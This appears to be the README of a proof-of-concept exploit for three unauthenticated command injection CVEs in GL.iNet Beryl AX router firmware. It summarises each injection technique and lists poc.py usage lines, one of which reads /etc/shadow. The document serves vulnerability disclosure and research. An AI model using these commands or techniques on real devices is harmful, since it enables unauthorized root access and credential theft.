
PoC for three unauthenticated command injection vulnerabilities (CVE-2026-11450, CVE-2026-11451, CVE-2026-11452) in the GL.iNet GL-MT3000 (Beryl AX) travel router firmware <= 4.4.5.
Full writeup: https://www.hunt-benito.com/blog/glinet-beryl-ax-triple-rce-cve-2026-11450-11451-11452-unauthenticated-root-on-travel-router/
| CVE | CVSS | Technique |
|---|---|---|
| CVE-2026-11450 | 7.3 | Buffer size mismatch (0x40 vs 0x100) bypasses access() gate, $() injected via system() |
| CVE-2026-11451 | 7.3 | Single-quote escape in FTP media_dir parameter breaks shell quoting |
| CVE-2026-11452 | 7.3 | $() command substitution in Samba password parameter inside double-quoted printf |
All three exploit the unauthenticated /cgi-bin/glc CGI dispatcher which loads plugins via dlopen/dlsym with no auth or method allowlist.
# Exploit all three CVEs
python3 poc.py http://192.168.8.1
# Exploit a specific CVE
python3 poc.py http://192.168.8.1 -c "id" -v 11450
python3 poc.py https://192.168.8.1 -c "id" -v 11451
python3 poc.py https://192.168.8.1 -c "id" -v 11452
# Custom command and output file
python3 poc.py http://192.168.8.1 -c "cat /etc/shadow" -o /tmp/pwned
For educational and authorized security research purposes only. Do not use against systems you do not own or have explicit permission to test.